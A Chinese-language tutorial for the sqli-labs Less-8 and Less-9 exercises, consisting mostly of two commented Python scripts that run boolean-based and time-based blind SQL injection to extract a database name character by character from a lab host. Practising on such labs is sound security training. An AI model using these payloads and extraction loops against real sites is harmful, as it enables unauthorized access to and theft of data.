准备环境:sqli-labs-master/Less-8/
引用"盲注"代码
import requests # 引用requests模块
import string # 引用string模块
# 添加目标url地址
url= "http://192.168.182.157/sqli-labs-master/Less-8/index.php"
# 初始化变量和循环
i= 0
con = ''
while True:
i+=1
payload= f"?id=2' and length(database())={i} -- " # 通过增加payload中查询语句的长度
full_url= url+ payload
print(full_url)
res= requests.get(url= full_url)
if "You are in..........." in res.text: # 如果返回结果中包含指定字符串you are in
con_len= i # 就代表注入成功,可以确定数据库名的长度为con_len
print(f"[*] The length is {con_len}")
break
c_set= string.printable.strip()
for i in range(con_len):
for c in c_set:
payload= f"?id=2' and ascii(substr(database(),{i+ 1},1))={ord(c)} -- "
# print(payload)
full_url= url+ payload
# print(full_url)
res = requests.get(url= full_url)
if "You are in..........." in res.text:
con += c
print(f"[*] The content: {con}")
# 通过循环遍历数据库名的每个字符位置,再通过循环遍历可打印字符集c_set中的每个字符构造payload。在payload中使用substr(database(),{i+1},1)可以获取数据库名的第i+1个字符,通过ascii()函数将其转换为ASCII码值,并与ord(c)进行对比。如果注入成功,则将该字符添加到con中,最终得到完整的数据库名。
准备环境:/sqli-labs-master/Less-9/

引用"延时注入"代码
import string # 引用处理字符串的模块string
import requests # 引用发送http请求的模块requests
# 设置URL变量,指定目标网站
url= "http://192.168.182.157/sqli-labs-master/Less-9/index.php"
# 初始化con_len变量,用于记录获得内容的长度
con_len= 0
con= "" # 初始化con变量,用于保存最终获取到的内容
# 定义get_timeout的函数,用于发送HTTP请求并返回响应内容。
def get_timeout(url):
try: # 尝试执行下面的代码
res = requests.get(url= url, timeout= 3) # 发送GET请求到指定的URL,并设置超时时间为3秒。
except: # 捕获异常,如果发生异常就执行以下代码块
return "timeout" # 返回字符串"timeout",表示请求超时
else: # 如果没有发生异常,则执行以下代码块
return res.text # 返回响应内容的文本形式
# 进入一个无限循环
while True:
con_len+= 1 # 将con_len变量加1,表示要探测的内容长度增加
# 构造一个SQL注入的payload,通过判断数据库名称的长度来探测内容长度
payload= f"?id=1' and if(length(database())={con_len},sleep(5),1) -- yyds"
# 将payload添加到原始URL后面,形成完整的请求URL。
full_url= url+ payload
print(full_url) # 将payload添加到原始URL后面,形成完整的请求URL。
# 调用get_timeout函数发送请求,并判断响应内容中是否包含"timeout"字符串。
if "timeout" in get_timeout(full_url):
# 如果响应超时,则打印出当前探测到的内容的长度。
print(f"[*] The length of content: {con_len}")
break # 跳出循环,结束探测过程。
# 初始化c_set变量,保存了所有可打印字符的集合。
c_set= string.printable.strip()
# 对于每一个已知内容的位置,进行下面的操作。
for i in range(con_len):
for c in c_set: # 对于c_set中的每个字符,进行下面的操作
# 构造一个SQL注入的payload,通过ASCII码比较逐位获取数据库名
payload= f"?id=1' and if(ascii(substr((select database()),{i+ 1},1))={ord(c)},sleep(5),1) -- yyds"
# 将payload添加到原始URL后面,形成完整的请求URL。
full_url= url+ payload
# 调用get_timeout函数发送请求,并判断响应内容中是否包含"timeout"字符串
if "timeout" in get_timeout(full_url):
con+= c # 如果响应超时,则将当前字符c添加到已知内容con中。
print(f"[*] The content: {con}") # 打印出当前已知的内容